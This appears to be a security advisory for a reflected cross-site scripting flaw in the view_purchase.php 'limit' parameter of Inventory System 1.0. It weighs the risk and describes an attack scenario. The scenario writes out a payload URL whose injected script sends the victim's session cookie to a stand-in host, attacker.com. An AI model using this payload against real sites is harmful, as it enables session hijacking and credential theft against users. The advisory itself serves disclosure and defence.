Inventory System EUVD-2026-16730

Real-world risk is moderate to high, despite missing CVSS and EPSS data. The presence of publicly available exploit code significantly lowers the barrier to exploitation and should be weighted heavily in threat modeling. Reflected XSS has automatic attack potential (a single malicious link can compromise multiple users), and the technical impact is non-negligible-session hijacking and credential theft are feasible if the application handles sensitive purchase or user data. The absence of authentication requirements (the vulnerability is triggered via URL parameter) makes mass exploitation trivial. However, XSS impact depends on the target application's security posture (presence of HTTPOnly/Secure cookie flags, CSP, SameSite attributes). Without CVSS data, conservative assumption is that this is a legitimate priority for any deployment of Inventory System 1.0, especially if internet-facing. The POC availability is the strongest signal of real-world risk in this case.

An attacker crafts a URL such as 'http://target.com/view_purchase.php?limit=<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' and sends it to a victim via email or embeds it on a compromised website. When the victim clicks the link or the page auto-loads, the injected script executes in the victim's browser within the context of the target application, exfiltrating session cookies or triggering further actions on behalf of the victim. Since publicly available exploit code exists, attackers require minimal technical skill to execute this attack at scale.